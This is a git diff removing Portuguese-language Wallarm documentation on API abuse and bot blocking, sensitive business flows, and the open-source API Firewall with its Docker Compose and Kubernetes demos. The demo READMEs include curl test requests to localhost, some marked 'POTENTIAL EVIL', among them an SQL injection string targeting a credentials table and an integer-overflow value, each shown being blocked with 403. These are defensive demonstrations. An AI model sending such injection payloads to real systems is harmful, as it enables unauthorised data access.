ser restaurados e que o módulo **Prevenção de Abuso de API** não utiliza durante a análise de tráfego. - -Você pode excluir o perfil usando a opção **Excluir** correspondente. - -## Explorando bots maliciosos bloqueados e seus ataques - -O módulo **Prevenção de Abuso de API** bloqueia bots adicionando-os à [lista de negação](../user-guides/ip-lists/denylist.md) ou [lista cinza](../user-guides/ip-lists/graylist.md) por 1 hora. - -Você pode explorar os IPs de bots bloqueados no Console Wallarm → **Listas de IP** → **Lista de negação** ou **Lista cinza**. Explore IPs adicionados com o **Motivo** `Bot`. - -![IPs de bots na lista de negação](../images/about-wallarm-waf/abi-abuse-prevention/denylisted-bot-ips.png) - -!!! info "Confiança" - Como resultado do [trabalho dos detectores](../api-abuse-prevention/overview.md#how-api-abuse-prevention-works), cada bot detectado obtém **porcentagem de confiança**: o quanto temos certeza de que isso é um bot. Em cada tipo de bot, os detectores têm importância relativa diferente / número de votos. Assim, a porcentagem de confiança é os votos ganhos de todos os votos possíveis neste tipo de bot (fornecido por detectores que trabalharam). - -Você pode intervir no processo de proteção de bot. Se o IP listado como negação ou cinza não for realmente usado por um bot malicioso, você pode excluir o IP da lista ou [lista de permissões](../user-guides/ip-lists/allowlist.md). O Wallarm não bloqueia solicitações originadas de IPs na lista de permissões, incluindo as maliciosas. - -Você também pode explorar ataques de abuso de API de bot realizados por bots na seção **Eventos** do Console Wallarm. Use a chave de pesquisa `api_abuse` ou selecione `Abuso de API` no filtro **Tipo**. - -![Eventos de abuso de API](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-events.png) - -A informação do bot é visualizada em três mapas de calor. Em todos os mapas, quanto maior a bolha, mais próxima ela está da cor vermelha e do canto superior direito - mais razões para considerar este IP como um bot. - -Nos mapas de calor, você também pode comparar seu bot atual (**este bot**) com os outros bots que atacaram o mesmo aplicativo nas últimas 24 horas. Se muitos bots fizeram isso, apenas os 30 mais suspeitos serão exibidos. - -Os mapas de calor: - -* **Performance** visualiza a performance dos bots atuais e outros detectados, incluindo sua não unicidade de solicitação, solicitações programadas, RPS e intervalo de solicitação. -* **Comportamento** visualiza a pontuação de comportamento suspeito do bot atual e outros detectados, incluindo seu grau de comportamento suspeito, quantidade de solicitações para endpoints críticos ou sensíveis, RPS e o número de detectores de bot que os detectaram como bots. -* **Erros HTTP** visualiza os erros de API causados pelas atividades dos bots, incluindo o número de diferentes endpoints que eles atingem, o número de solicitações inseguras que fazem, seu RPS e o número de códigos de resposta de erro que recebem. - -Cada mapa de calor inclui uma descrição detalhada do tamanho, cor e posição da bolha (use **Mostrar mais**). Você pode ampliar o mapa de calor desenhando um retângulo ao redor da área necessária. - -O módulo **Prevenção de Abuso de API** compila o tráfego do cliente em padrões de URL. O padrão de URL pode ter os seguintes segmentos: - -| Segmento | Contém | Exemplo | -|---|---|---| -| SENSIBLE | Partes da URL que fornecem acesso às funções ou recursos críticos do aplicativo, como o painel de administração. Eles devem ser mantidos confidenciais e restritos ao pessoal autorizado para prevenir potenciais violações de segurança. | `wp-admin` | -| IDENTIFICADOR | Vários identificadores como identificadores numéricos, UUIDs, etc. | - | -| ESTÁTICO | As pastas que contêm arquivos estáticos de diferentes tipos. | `images`, `js`, `css` | -| ARQUIVO | Nomes de arquivos estáticos. | `image.png` | -| CONSULTA | Parâmetros de consulta. | - | -| AUTENTICAÇÃO | Conteúdo relacionado aos endpoints de autenticação/autorização. | - | -| LÍNGUA | Partes relacionadas à língua. | `en`, `fr` | -| VERIFICAÇÃO DE DISPONIBILIDADE | Conteúdo relacionado aos endpoints de verificação de disponibilidade. | - | -| DIVERSOS | O segmento é marcado como DIVERSOS se for impossível atribuí-lo a outras categorias. Uma parte variável do caminho da URL. | - | - -## Trabalhando com a lista de exceções - -Para marcar alguns IPs como associados a bots ou rastreadores legítimos para evitar o bloqueio deles pela Prevenção de Abuso de API, use a [**Lista de exceções**](../api-abuse-prevention/overview.md#exception-list). - -Você adiciona o endereço IP ou o intervalo à lista de exceções e especifica o aplicativo de destino: isso faz com que qualquer solicitação desses endereços para o aplicativo de destino não resulte em marcar esses endereços como bots maliciosos e eles não serão adicionados à [lista de negação](../user-guides/ip-lists/denylist.md) ou [lista cinza](../user-guides/ip-lists/graylist.md) pela Prevenção de Abuso de API. - -Existem duas maneiras de adicionar endereços IP à lista de exceções: - -* A partir da seção **Prevenção de Abuso de API** → guia **Lista de exceções** por meio de **Adicionar exceção**. Aqui, além dos IPs e sub-redes, você pode adicionar localizações e tipos de fonte que devem ser ignorados pela Prevenção de Abuso de API. - - ![Prevenção de abuso de API - adicionando itens de dentro da lista de exceções](../images/about-wallarm-waf/abi-abuse-prevention/exception-list-add-from-inside.png) - -* A partir da seção **Eventos**: use a chave de pesquisa `api_abuse` ou selecione `Abuso de API` no filtro **Tipo**, em seguida, expanda o evento requerido e clique em **Adicionar à lista de exceções**. - - ![Prevenção de abuso de API - adicionando itens de dentro da lista de exceções](../images/about-wallarm-waf/abi-abuse-prevention/exception-list-add-from-event.png) - -Quando o endereço IP é adicionado à lista de exceções, o endereço é automaticamente removido da [lista de negação](../user-guides/ip-lists/denylist.md) ou [lista cinza](../user-guides/ip-lists/graylist.md), mas somente se foi adicionado lá pela própria Prevenção de Abuso de API (tem um motivo `Bot`). - -!!! info "Bloqueando outros tipos de ataque do IP" - Se um IP da lista de exceções produz outros [tipos de ataque](../attacks-vulns-list.md), como ataques de força bruta ou de validação de entrada e outros, o Wallarm bloqueia essas solicitações. - -Por padrão, o IP é adicionado à lista de exceções para sempre. Você pode alterar isso e definir o tempo em que o endereço deve ser removido da lista de exceções. Você também pode remover este endereço das exceções imediatamente a qualquer momento. - -A guia **Lista de exceções** fornece os dados históricos - você pode ver os itens que foram apresentados na lista dentro do período de tempo selecionado no passado. - -## Trabalhando com exceções para URLs alvo e solicitações específicas - -Além de marcar os IPs de bots bons por meio da [lista de exceções](#working-with-exception-list), você pode desativar a proteção bot tanto para as URLs que as solicitações visam como para os tipos de solicitação específicos, por exemplo, para solicitações que contenham cabeçalhos específicos. - -Observe que, em comparação com outras configurações de Prevenção de Abuso de API, essa capacidade é configurada **não** dentro do perfil de Abuso de API, mas separadamente - com a ajuda da regra [**Definir modo de Prevenção de Abuso de API**](../api-abuse-prevention/exceptions.md). \ No newline at end of file diff --git a/docs/latest-pt-BR/api-attack-surface/api-surface.md b/docs/latest-pt-BR/api-attack-surface/api-surface.md deleted file mode 100644 index 4b7a2a9122..0000000000 --- a/docs/latest-pt-BR/api-attack-surface/api-surface.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-attack-surface/api-surface.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/api-attack-surface/overview.md b/docs/latest-pt-BR/api-attack-surface/overview.md deleted file mode 100644 index 8c74da79f6..0000000000 --- a/docs/latest-pt-BR/api-attack-surface/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-attack-surface/overview.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/api-attack-surface/security-issues.md b/docs/latest-pt-BR/api-attack-surface/security-issues.md deleted file mode 100644 index 10c60a412b..0000000000 --- a/docs/latest-pt-BR/api-attack-surface/security-issues.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-attack-surface/security-issues.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/api-discovery/sbf.md b/docs/latest-pt-BR/api-discovery/sbf.md deleted file mode 100644 index 7fea9d1801..0000000000 --- a/docs/latest-pt-BR/api-discovery/sbf.md +++ /dev/null @@ -1,40 +0,0 @@ -# Sensitive Business Flows - -With the sensitive business flow capability, Wallarm's [API Discovery](overview.md) can automatically identify endpoints that are critical to specific business flows and functions, such as authentication, account management, billing, and similar critical capabilities. Learn from this article how to use the sensitive business flow functionality. - -## Addressed issues - -The abuse of the sensitive business flows ranks sixth ([API6](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/)) among OWASP API Top 10 risks. Protecting these sensitive business flows ensures business continuity, prevents leaking of sensitive data, reputation risks, and financial damage. - -WIth the sensitive business flows capability, Wallarm highlights health of the business-critical functions and helps to: - -* Regularly monitor and audit endpoints related to sensitive business flows for vulnerabilities or breaches. -* Prioritize them for development, maintenance, and security efforts. -* Implement stronger security measures (e.g., encryption, authentication, access controls, and rate limits). -* Easily produce audit trails and evidence of data protection measures. - -## Automatic tagging - -For your convenience, API Discovery tags endpoints as belonging to sensitive business flows automatically - on discovering a new endpoint, it checks whether this endpoint potentially belongs to one or more sensitive business flows: - ---8<-- "../include/default-sbf.md" - -Automatic checks are conducted using keywords from the endpoint URL. For example, keywords like `payment`, `subscription`, or `purchase` automatically associate the endpoint with the **Billing** flow, while keywords such as `auth`, `token`, or `login` link it to the **Authentication** flow. If matches are detected, the endpoint is automatically assigned to the appropriate flow. - -The automatic tagging discovers most of the sensitive business flows. However, it is also possible to manually adjust the list of assigned business flows as described in the section below. - -## Tagging endpoints manually - -To adjust the results of [automatic tagging](#automatic-tagging), you can manually edit the list of sensitive business flow the endpoint belongs to. You can also manually tag endpoints that do not directly fall under the keyword list. - -To edit the list of flows the endpoint belongs to, in Wallarm Console, go to API Discovery, then for your endpoint, in the **Business flow & sensitive data**, select one or several flows from the list. - -![API Discovery - Sensitive business flows](../images/about-wallarm-waf/api-discovery/api-discovery-sbf.png) - -You can do the same in the endpoint details. - -## Filtering by business flow - -Once endpoints are assigned with the sensitive business flow tags, it becomes possible to filter all discovered endpoint by a specific business flow (the **Business flow** filter) which makes it easier on protecting the most critical business capabilities. - -![API Discovery - Filtering by sensitive business flows](../images/about-wallarm-waf/api-discovery/api-discovery-sbf-filter.png) diff --git a/docs/latest-pt-BR/api-firewall/api-firewall/README.md b/docs/latest-pt-BR/api-firewall/api-firewall/README.md deleted file mode 100644 index 481b6656da..0000000000 --- a/docs/latest-pt-BR/api-firewall/api-firewall/README.md +++ /dev/null @@ -1,91 +0,0 @@ -# Firewall de API de Código Aberto da Wallarm [![Black Hat Arsenal USA 2022](https://github.com/wallarm/api-firewall/blob/main/images/BHA2022.svg?raw=true)](https://www.blackhat.com/us-22/arsenal/schedule/index.html#open-source-api-firewall-new-features--functionalities-28038) - -O Firewall de API é um proxy de alto desempenho com validação de solicitação e resposta de API baseada nos esquemas [OpenAPI](https://wallarm.github.io/api-firewall/installation-guides/docker-container/) e [GraphQL](https://wallarm.github.io/api-firewall/installation-guides/graphql/docker-container/). Ele foi projetado para proteger endpoints da API REST e GraphQL em ambientes nativos da nuvem. O Firewall de API fornece proteção da API com o uso de um modelo de segurança positivo permitindo chamadas que correspondem a uma especificação de API predefinida para solicitações e respostas, rejeitando todo o resto. - -Os **principais recursos** do API Firewall são: - -* Garantir a segurança dos endpoints de API REST e GraphQL bloqueando solicitações maliciosas -* Evitar violações de dados da API bloqueando respostas de API malformadas -* Descobrir endpoints de Shadow API -* Validar tokens de acesso JWT para autenticação baseada no protocolo OAuth 2.0 -* Negar listas de tokens de API comprometidos, chaves e Cookies - -O produto é **open source**, disponível no DockerHub e já obteve 1 bilhão (!!!) de pulls. Para apoiar este projeto, você pode dar uma estrela para o [repositório](https://hub.docker.com/r/wallarm/api-firewall). - -## Modos de operação - -Firewall de API da Wallarm oferece vários modos de operação: - -* [`PROXY`](https://wallarm.github.io/api-firewall/installation-guides/docker-container/): valida solicitações e respostas HTTP contra OpenAPI 3.0 e proxy de solicitações correspondentes para o backend. -* [`API`](https://wallarm.github.io/api-firewall/installation-guides/api-mode/): valida solicitações individuais contra OpenAPI 3.0 sem mais proxy. -* [`graphql`](https://wallarm.github.io/api-firewall/installation-guides/graphql/docker-container/): valida solicitações HTTP e WebSocket contra o esquema GraphQL e o proxy de solicitações correspondentes para o backend. - -## Casos de uso - -### Rodando no modo de bloqueio - -* Bloquear solicitações maliciosas que não correspondem à especificação -* Blocar respostas de API malformadas para parar violações de dados e exposição de informações sensíveis - -### Rodando no modo de monitoramento - -* Descobrir APIs Sombra e endpoints de API não documentados -* Registrar solicitações e respostas malformadas que não correspondem à especificação - -## Validação do esquema da API e modelo de segurança positivo - -Ao iniciar o Firewall de API, você deve fornecer a especificação REST ou da API GraphQL do aplicativo a ser protegido com o Firewall de API. O Firewall de API iniciado operará como um proxy reverso e validará se as solicitações e respostas correspondem ao esquema definido na especificação. - -O tráfego que não corresponde ao esquema será registrado usando os [serviços `STDOUT` e `STDERR` Docker](https://docs.docker.com/config/containers/logging/) ou bloqueado (dependendo do modo de operação do Firewall de API configurado). Ao operar no modo de registro na API REST, o Firewall da API também registra os chamados endpoints da shadow API, aqueles que não estão cobertos na especificação da API, mas respondem às solicitações (exceto para endpoints que retornam o código `404`). - -![Esquema do Firewall de API](https://github.com/wallarm/api-firewall/blob/main/images/Firewall%20opensource%20-%20vertical.gif?raw=true) - -Permitindo que você defina os requisitos de tráfego com a especificação da API, o Firewall de API depende de um modelo de segurança positivo. - -## Dados técnicos - -[Firewall de API funciona](https://www.wallarm.com/what/the-concept-of-a-firewall) como um proxy reverso com um validador de solicitação e resposta OpenAPI 3.0 ou GraphQL incorporado. Ele é escrito em Golang e usando o proxy fasthttp. O projeto é otimizado para desempenho extremo e latência adicionada próxima a zero. - -## Inicializando o Firewall de API - -Para baixar, instalar e iniciar o Firewall de API no Docker, consulte: - -* [Guia da API REST](https://wallarm.github.io/api-firewall/installation-guides/docker-container/) -* [Guia da API GraphQL](https://wallarm.github.io/api-firewall/installation-guides/graphql/docker-container/) - -## Demos - -Você pode testar o Firewall da API executando o ambiente de demonstração que implanta um aplicativo de exemplo protegido com o Firewall de API. Existem dois ambientes de demonstração disponíveis: - -* [Demonstração do Firewall de API com Docker Compose](https://github.com/wallarm/api-firewall/tree/main/demo/docker-compose) -* [Demonstração do Firewall de API com Kubernetes](https://github.com/wallarm/api-firewall/tree/main/demo/kubernetes) - -## Artigos do blog da Wallarm relacionados ao Firewall de API - -* [Descobrindo APIs Sombra com o Firewall de API](https://lab.wallarm.com/discovering-shadow-apis-with-a-api-firewall/) -* [Firewall de API da Wallarm supera o NGINX em um ambiente de produção](https://lab.wallarm.com/wallarm-api-firewall-outperforms-nginx-in-a-production-environment/) -* [Garantindo APIs REST gratuitamente com OSS APIFW](https://lab.wallarm.com/securing-rest-with-free-api-firewall-how-to-guide/) - -## Desempenho - -Ao criar o Firewall de API, priorizamos velocidade e eficiência para garantir que nossos clientes teriam as APIs mais rápidas possíveis. Nossos últimos testes demonstram que o tempo médio necessário para o Firewall de API processar uma solicitação é 1.339 ms, que é 66% mais rápido que o Nginx: - -``` -Firewall de API 0.6.2 com validação JSON - -$ ab -c 200 -n 10000 -p ./large.json -T application/json http://127.0.0.1:8282/test/signup - -Pedidos por segundo: 13005.81 [#/seg] (média) -Tempo por pedido: 15.378 [ms] (média) -Tempo por pedido: 0.077 [ms] (média, em todos os pedidos concurrentes) - -NGINX 1.18.0 sem validação JSON - -$ ab -c 200 -n 10000 -p ./large.json -T application/json http://127.0.0.1/test/signup - -Pedidos por segundo: 7887.76 [#/seg] (média) -Tempo por pedido: 25.356 [ms] (média) -Tempo por pedido: 0.127 [ms] (média, em todos the pedidos concurrentes) -``` - -Esses resultados de desempenho não são os únicos que obtivemos durante o teste do Firewall de API. Outros resultados, juntamente com os métodos usados para melhorar o desempenho do Firewall de API, são descritos neste [artigo do blog da Wallarm](https://lab.wallarm.com/wallarm-api-firewall-outperforms-nginx-in-a-production-environment/). diff --git a/docs/latest-pt-BR/api-firewall/api-firewall/demo/docker-compose/README.md b/docs/latest-pt-BR/api-firewall/api-firewall/demo/docker-compose/README.md deleted file mode 100644 index 1e3f49065c..0000000000 --- a/docs/latest-pt-BR/api-firewall/api-firewall/demo/docker-compose/README.md +++ /dev/null @@ -1,248 +0,0 @@ -# Demonstração do Wallarm API Firewall com Docker Compose - -Esta demonstração implementa o aplicativo [**httpbin**](https://httpbin.org/) e o Wallarm API Firewall como um proxy protegendo a API **httpbin**. Ambos os aplicativos estão sendo executados em contêineres Docker conectados usando o Docker Compose. - -## Requisitos do sistema - -Antes de executar esta demonstração, certifique-se de que seu sistema atende aos seguintes requisitos: - -* Docker Engine 20.x ou superior instalado para [Mac](https://docs.docker.com/docker-for-mac/install/), [Windows](https://docs.docker.com/docker-for-windows/install/) ou [Linux](https://docs.docker.com/engine/install/#server) -* [Docker Compose](https://docs.docker.com/compose/install/) instalado -* **make** instalado para [Mac](https://formulae.brew.sh/formula/make), [Windows](https://sourceforge.net/projects/ezwinports/files/make-4.3-without-guile-w32-bin.zip/download), ou Linux (usando utilitários adequados de gerenciamento de pacotes) - -## Recursos usados - -Os seguintes recursos são usados nesta demonstração: - -* [Imagem Docker **httpbin**](https://hub.docker.com/r/kennethreitz/httpbin/) -* [Imagem Docker do Firewall API](https://hub.docker.com/r/wallarm/api-firewall) - -## Descrição do código de demonstração - -O [código de demonstração](https://github.com/wallarm/api-firewall/tree/main/demo/docker-compose) contém os seguintes arquivos de configuração: - -* As seguintes especificações OpenAPI 3.0 localizadas no diretório `volumes`: - * `httpbin.json` é a [especificação OpenAPI 2.0 **httpbin**](https://httpbin.org/spec.json) convertida para o formato de especificação OpenAPI 3.0. - * `httpbin-with-constraints.json` é a especificação OpenAPI 3.0 **httpbin** com restrições adicionais de API adicionadas explicitamente. - - Ambos os arquivos serão usados para testar a implantação de demonstração. -* `Makefile` é o arquivo de configuração que define rotinas Docker. -* `docker-compose.yml` é o arquivo que define a configuração das imagens Docker **httpbin** e [Firewall API](https://docs.wallarm.com/api-firewall/installation-guides/docker-container/). - -## Passo 1: Executando o código de demonstração - -Para executar o código de demonstração: - -1. Clone o repositório do GitHub que contém o código de demonstração: - - ```bash - git clone https://github.com/wallarm/api-firewall.git - ``` -2. Mude para o diretório `demo/docker-compose` do repositório clonado: - - ```bash - cd api-firewall/demo/docker-compose - ``` -3. Execute o código de demonstração usando o seguinte comando: - - ```bash - make start - ``` - - * O aplicativo **httpbin** protegido pelo Firewall API estará disponível em http://localhost:8080. - * O aplicativo **httpbin** desprotegido pelo Firewall API estará disponível em http://localhost:8090. Ao testar a implantação de demonstração, você pode enviar solicitações ao aplicativo desprotegido para saber a diferença. -4. Prossiga com o teste de demonstração. - -## Passo 2: Testando a demonstração com base na especificação original OpenAPI 3.0 - -Por padrão, esta demonstração está em execução com a especificação original **httpbin** OpenAPI 3.0. Para testar esta opção de demonstração, você pode usar as seguintes solicitações: - -* Verifique se o Firewall API bloqueia solicitações enviadas para o caminho não exposto: - - ```bash - curl -sD - http://localhost:8080/unexposed/path - ``` - - Resposta esperada: - - ```bash - HTTP/1.1 403 Proibido - Date: Mon, 31 May 2021 06:58:29 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - ``` -* Verifique se o Firewall API bloqueia solicitações com valor de string passado no parâmetro que requer tipo de dados inteiro: - - ```bash - curl -sD - http://localhost:8080/cache/arewfser - ``` - - Resposta esperada: - - ```bash - HTTP/1.1 403 Proibido - Date: Mon, 31 May 2021 06:58:29 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - ``` - - Este caso demonstra que o Firewall API protege o aplicativo contra ataques DoS envenenados por cache. - -## Passo 3: Testando a demonstração com base na especificação OpenAPI 3.0 mais rigorosa - -Primeiro, atualize o caminho para a especificação OpenAPI 3.0 usada na demonstração: - -1. No arquivo `docker-compose.yml`, substitua o valor da variável de ambiente `APIFW_API_SPECS` pelo caminho para a especificação OpenAPI 3.0 mais rigorosa (`/opt/resources/httpbin-with-constraints.json`). -2. Reinicie a demonstração usando os comandos: - - ```bash - make stop - make start - ``` - -Em seguida, para testar esta opção de demonstração, você pode usar os seguintes métodos: - -* Verifique se o Firewall API bloqueia solicitações com o parâmetro de consulta necessário `int` que não corresponde à seguinte definição: - - ```json - ... - { - "in": "query", - "name": "int", - "schema": { - "type": "integer", - "minimum": 10, - "maximum": 100 - }, - "required": true - }, - ... - ``` - - Teste a definição usando as seguintes solicitações: - - ```bash - # Solicitação com parâmetro de consulta necessário ausente - curl -sD - http://localhost:8080/get - - # Resposta esperada - HTTP/1.1 403 Proibido - Date: Mon, 31 May 2021 07:09:08 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - - - # Solicitação com o valor do parâmetro int que está em um intervalo válido - curl -sD - http://localhost:8080/get?int=15 - - # Resposta esperada - HTTP/1.1 200 OK - Server: gunicorn/19.9.0 - Date: Mon, 31 May 2021 07:09:38 GMT - Content-Type: application/json - Content-Length: 280 - Access-Control-Allow-Origin: * - Access-Control-Allow-Credentials: true - ... - - - # Solicitação com o valor do parâmetro int que está fora de alcance - curl -sD - http://localhost:8080/get?int=5 - - # Resposta esperada - HTTP/1.1 403 Proibido - Date: Mon, 31 May 2021 07:09:27 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - - - # Solicitação com o valor do parâmetro int que está fora de alcance - curl -sD - http://localhost:8080/get?int=1000 - - # Resposta esperada - HTTP/1.1 403 Proibido - Date: Mon, 31 May 2021 07:09:53 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - - - # Solicitação com o valor do parâmetro int que está fora de alcance - # POTENTIAL EVIL: O estouro de inteiro de 8 bytes pode responder com queda de pilha - curl -sD - http://localhost:8080/get?int=18446744073710000001 - - # Resposta esperada - HTTP/1.1 403 Proibido - Date: Mon, 31 May 2021 07:10:04 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - ``` -* Verifique se o Firewall API bloqueia solicitações com o parâmetro de consulta `str` que não corresponde à seguinte definição: - - ```json - ... - { - "in": "query", - "name": "str", - "schema": { - "type": "string", - "pattern": "^.{1,10}-\\d{1,10}$" - } - }, - ... - ``` - - Teste a definição usando as seguintes solicitações (o parâmetro `int` ainda é necessário): - - ```bash - # Solicitação com o valor do parâmetro str que não corresponde à expressão regular definida - curl -sD - "http://localhost:8080/get?int=15&str=fasxxx.xxxawe-6354" - - # Resposta esperada - HTTP/1.1 403 Proibido - Date: Mon, 31 May 2021 07:10:42 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - - - # Solicitação com o valor do parâmetro str que não corresponde à expressão regular definida - curl -sD - "http://localhost:8080/get?int=15&str=faswerffa-63sss54" - - # Resposta esperada - HTTP/1.1 403 Proibido - Date: Mon, 31 May 2021 07:10:42 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - - - # Solicitação com o valor do parâmetro str que corresponde à expressão regular definida - curl -sD - http://localhost:8080/get?int=15&str=ri0.2-3ur0-6354 - - # Resposta esperada - HTTP/1.1 200 OK - Server: gunicorn/19.9.0 - Date: Mon, 31 May 2021 07:11:03 GMT - Content-Type: application/json - Content-Length: 331 - Access-Control-Allow-Origin: * - Access-Control-Allow-Credentials: true - ... - - - # Solicitação com o valor do parâmetro str que não corresponde à expressão regular definida - # POTENCIAL EVIL: Injeção SQL - curl -sD - 'http://localhost:8080/get?int=15&str=";SELECT%20*%20FROM%20users.credentials;"' - - # Resposta esperada - HTTP/1.1 403 Proibido - Date: Mon, 31 May 2021 07:12:04 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - ``` - -## Passo 4: Parando o código de demonstração - -Para parar a implantação de demonstração e limpar seu ambiente, use o comando: - -```bash -make stop -``` \ No newline at end of file diff --git a/docs/latest-pt-BR/api-firewall/api-firewall/demo/kubernetes/README.md b/docs/latest-pt-BR/api-firewall/api-firewall/demo/kubernetes/README.md deleted file mode 100644 index 310f4d9dce..0000000000 --- a/docs/latest-pt-BR/api-firewall/api-firewall/demo/kubernetes/README.md +++ /dev/null @@ -1,245 +0,0 @@ -# Demonstração do Wallarm API Firewall com Kubernetes - -Esta demonstração implementa a aplicação [**httpbin**](https://httpbin.org/) e o Wallarm API Firewall como um proxy protegendo a API **httpbin**. Ambas as aplicações estão em execução nos contêineres Docker em Kubernetes. - -## Requisitos do sistema - -Antes de executar esta demonstração, certifique-se de que seu sistema atende aos seguintes requisitos: - -* Docker Engine 20.x ou posterior instalado para [Mac](https://docs.docker.com/docker-for-mac/install/), [Windows](https://docs.docker.com/docker-for-windows/install/), ou [Linux](https://docs.docker.com/engine/install/#server) -* [Docker Compose](https://docs.docker.com/compose/install/) instalado -* **make** instalado para [Mac](https://formulae.brew.sh/formula/make), [Windows](https://sourceforge.net/projects/ezwinports/files/make-4.3-without-guile-w32-bin.zip/download), ou Linux (usando utilitários de gerenciamento de pacotes adequados) - -Executar este ambiente de demonstração pode ser intensivo em recursos. Certifique-se de ter os seguintes recursos disponíveis: - -* Pelo menos 2 núcleos de CPU -* Pelo menos 6GB de memória volátil - -## Recursos utilizados - -Os seguintes recursos são utilizados nesta demonstração: - -* [Imagem Docker **httpbin**](https://hub.docker.com/r/kennethreitz/httpbin/) -* [Imagem Docker do API Firewall](https://hub.docker.com/r/wallarm/api-firewall) - -## Descrição do código de demonstração - -O [código de demonstração](https://github.com/wallarm/api-firewall/tree/main/demo/kubernetes) executa o cluster Kubernetes com o **httpbin** e o API Firewall implementados. - -Para executar o cluster Kubernetes, esta demonstração usa a ferramenta [**kind**](https://kind.sigs.k8s.io/) que permite executar o cluster K8s em minutos usando contêineres Docker como nós. Ao usar várias camadas de abstração, o **kind** e suas dependências são empacotados na imagem Docker que inicia o cluster Kubernetes. - -A implementação da demonstração é configurada através dos seguintes diretórios/arquivos: - -* A especificação OpenAPI 3.0 para a API **httpbin** está localizada no arquivo `volumes/helm/api-firewall.yaml` sob o caminho `manifest.body`. Usando esta especificação, o API Firewall validará se as solicitações e respostas enviadas ao endereço da aplicação correspondem ao esquema da API da aplicação. - -Esta especificação não define o [esquema original da API do **httpbin**](https://httpbin.org/spec.json). Para demonstrar de forma mais transparente os recursos do API Firewall, nós explicitamente convertemos e complicamos o esquema original OpenAPI 2.0 e salvamos a especificação modificada para `volumes/helm/api-firewall.yaml` > `manifest.body`. -* `Makefile` é o arquivo de configuração que define rotinas Docker. -* `docker-compose.yml` é o arquivo que define a seguinte configuração para executar o cluster Kubernetes temporário: - - * A construção do nó [**kind**](https://kind.sigs.k8s.io/) com base em [`docker/Dockerfile`](https://github.com/wallarm/api-firewall/blob/main/demo/kubernetes/docker/Dockerfile). - * Implementação do servidor DNS proporcionando descoberta simultânea de serviços Kubernetes e Docker. - * Implementação do registro Docker local e do serviço `dind`. - * Configuração das imagens Docker [API Firewall](https://docs.wallarm.com/api-firewall/installation-guides/docker-container/) e **httpbin**. - -## Passo 1: Executando o código de demonstração - -Para executar o código de demonstração: - -1. Clone o repositório do GitHub que contém o código de demonstração: - - ```bash - git clone https://github.com/wallarm/api-firewall.git - ``` -2. Acesse o diretório `demo/kubernetes` do repositório clonado: - - ```bash - cd api-firewall/demo/kubernetes - ``` -3. Execute o código de demonstração usando o comando abaixo. Por favor, observe que a execução desta demonstração pode ser intensiva em recursos. Pode levar até 3 minutos para iniciar o ambiente de demonstração. - - ```bash - make start - ``` - - * A aplicação **httpbin** protegida pelo API Firewall estará disponível em http://localhost:8080. - * A aplicação **httpbin** não protegida pelo API Firewall estará disponível em http://localhost:8090. Ao testar a implementação de demonstração, você pode enviar solicitações para a aplicação não protegida para conhecer a diferença. -4. Prossiga para o teste de demonstração. - -## Passo 2: Testando a demonstração - -Usando a seguinte solicitação, você pode testar o API Firewall implementado: - -* Verifique se o API Firewall bloqueia as solicitações enviadas para o caminho não exposto: - - ```bash - curl -sD - http://localhost:8080/unexposed/path - ``` - - Resposta esperada: - - ```bash - HTTP/1.1 403 Forbidden - Date: Mon, 31 May 2021 06:58:29 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - ``` -* Verifique se o API Firewall bloqueia solicitações com valor de string passado no parâmetro que requer tipo de dados inteiros: - - ```bash - curl -sD - http://localhost:8080/cache/arewfser - ``` - - Resposta esperada: - - ```bash - HTTP/1.1 403 Forbidden - Date: Mon, 31 May 2021 06:58:29 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - ``` - - Este caso demonstra que o API Firewall protege a aplicação contra ataques Cache-Poisoned DoS. -* Verifique se o API Firewall bloqueia solicitações com o parâmetro de consulta obrigatório `int` que não corresponde à seguinte definição: - - ```json - ... - { - "in": "query", - "name": "int", - "schema": { - "type": "integer", - "minimum": 10, - "maximum": 100 - }, - "required": true - }, - ... - ``` - - Teste a definição usando as seguintes solicitações: - - ```bash - # Solicitação com parâmetro de consulta obrigatório ausente - curl -sD - http://localhost:8080/get - - # Resposta esperada - HTTP/1.1 403 Forbidden - Date: Mon, 31 May 2021 07:09:08 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - - - # Solicitação com o valor do parâmetro int que está em um intervalo válido - curl -sD - http://localhost:8080/get?int=15 - - # Resposta esperada - HTTP/1.1 200 OK - Server: gunicorn/19.9.0 - Date: Mon, 31 May 2021 07:09:38 GMT - Content-Type: application/json - Content-Length: 280 - Access-Control-Allow-Origin: * - Access-Control-Allow-Credentials: true - ... - - - # Solicitação com o valor do parâmetro int que está fora do intervalo - curl -sD - http://localhost:8080/get?int=5 - - # Resposta esperada - HTTP/1.1 403 Forbidden - Date: Mon, 31 May 2021 07:09:27 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - - - # Solicitação com o valor do parâmetro int que está fora do intervalo - curl -sD - http://localhost:8080/get?int=1000 - - # Resposta esperada - HTTP/1.1 403 Forbidden - Date: Mon, 31 May 2021 07:09:53 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - - - # Solicitação com o valor do parâmetro int que está fora do intervalo - # POTENTIAL EVIL: Transbordamento de inteiro de 8 bytes pode responder com eliminação de pilha - curl -sD - http://localhost:8080/get?int=18446744073710000001 - - # Resposta esperada - HTTP/1.1 403 Forbidden - Date: Mon, 31 May 2021 07:10:04 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - ``` 